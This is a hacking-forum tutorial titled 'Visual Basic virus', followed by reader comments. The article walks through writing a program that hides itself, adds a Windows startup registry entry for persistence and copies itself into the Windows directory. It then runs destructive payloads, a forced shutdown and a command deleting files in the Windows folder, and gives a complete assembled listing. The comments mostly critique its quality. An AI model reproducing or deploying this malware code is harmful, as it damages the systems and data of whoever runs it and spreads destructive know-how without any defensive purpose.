Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

Visual Basic virus


Visual Basic virus

By ghostghost | 9968 Reads |
0     0

1: you want the virus program to write in the windows regestery (regedit) so that it starts up every time you start up the computer. to make it easy for you insert this at the top of your source:

Private Sub Form_Load() App.TaskVisible = False Set WScriptShell = CreateObject("WScript.Shell") Set FileSystemObject = CreateObject("scripting.filesystemobject") Dim Reg As Object Set Reg = CreateObject("wscript.shell")

you use this command to write to regedit:

Reg.RegWrite "here you place the register address" + "the name of the key", "the value of the key"

eks: Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNSERVICES\" + "virus startup", "c:\windows\virus.exe"

and you can run this command several times and write to more places in the regestery. this makes your virus harder to remove.

2: now you want the virus to copy it self to some place in the windows dir. (makes it harder to find and you cant depend on the first .exe file that enterd the computer.)

here you want to put a "IF" statment to check if the file exists in the dir you want to copy the virus to. if the file exists, this just means that the virus is already in this dir. here is the command:

If Not (FileSystemObject.fileexists("c:\windows\virus.exe")) Then FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\windows\virus.exe" End If

3: now you have a virus that copys itselfe in to the computer and writes to regedit.

now you want to input the command that does the damage, here you can put all sorts of stuff.

eks 1: Shell "shutdown -s -f -t 0"

this shuts the computer down when the computer has booted windows.

eks 2: kill "c:/windows/."

this command deletes all the files in the windows dir.

4: here is the complite code:

Private Sub Form_Load() App.TaskVisible = False Set WScriptShell = CreateObject("WScript.Shell") Set FileSystemObject = CreateObject("scripting.filesystemobject") Dim Reg As Object Set Reg = CreateObject("wscript.shell") Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNSERVICES\" + "virus startup", "c:\windows\virus.exe" If Not (FileSystemObject.fileexists("c:\windows\virus.exe")) Then FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\windows\virus.exe" End If Shell "shutdown -s -f -t 0" End Sub

and yes, hehe my english is not the best as you can se=)

Comments
ghost's avatar
ghost 19 years ago

Don't use + to add to a string, use &. Its not kill "C:/windows/." its kill "C:\windows\." And it needs proper error handling. Other then that pretty good. :pB):D

ghost's avatar
ghost 19 years ago

Hm. Wel considering a lot of that, most of it, is VBS and Shell, you really aren't using VB.

ghost's avatar
ghost 19 years ago

i havent tested the code. i know it is crap, i wrote the article i like 2 min, and it is written in VB. it is just to make people se how easy it is to write an compile a virus. B)http://www.hellboundhackers.org/fusion_images/smiley/cool.gif

ghost's avatar
ghost 19 years ago

i liked it excwellent job im glad that learning vb was a complete waste of time :):):):):):):)

ghost's avatar
ghost 19 years ago

Well, seeing as this doesn't infect anything, is freestanding, and just shuts down, this can not be classified as

  • malware
  • virus
  • worm

So I'll say it's stupid. Sorry

ghost's avatar
ghost 19 years ago

hey how! if u take a good look at the code and the article u will se that it is extremely basic and no one would think to use this code. it is just to show how easy it could be written.

ghost's avatar
ghost 19 years ago

i liked it back of tonto wanna be a black hat then go be it but i liked it gave general broad range of a couple commands combine knowledge from this and all the other vb articles knowledge and that virus would be sweet. Oh and on a final note .. Your mom goes to college.lol

ghost's avatar
ghost 18 years ago

Does nothing amazing, just destructive code. 0.5 out of 10.

ghost's avatar
ghost 17 years ago

"PlagueZ on December 11 2006 - 17:47:39 Does nothing amazing, just destructive code. 0.5 out of 10."

if it was an amazing code it woldent say:

Visual Basic virus how to make a simple visual basic virus. ..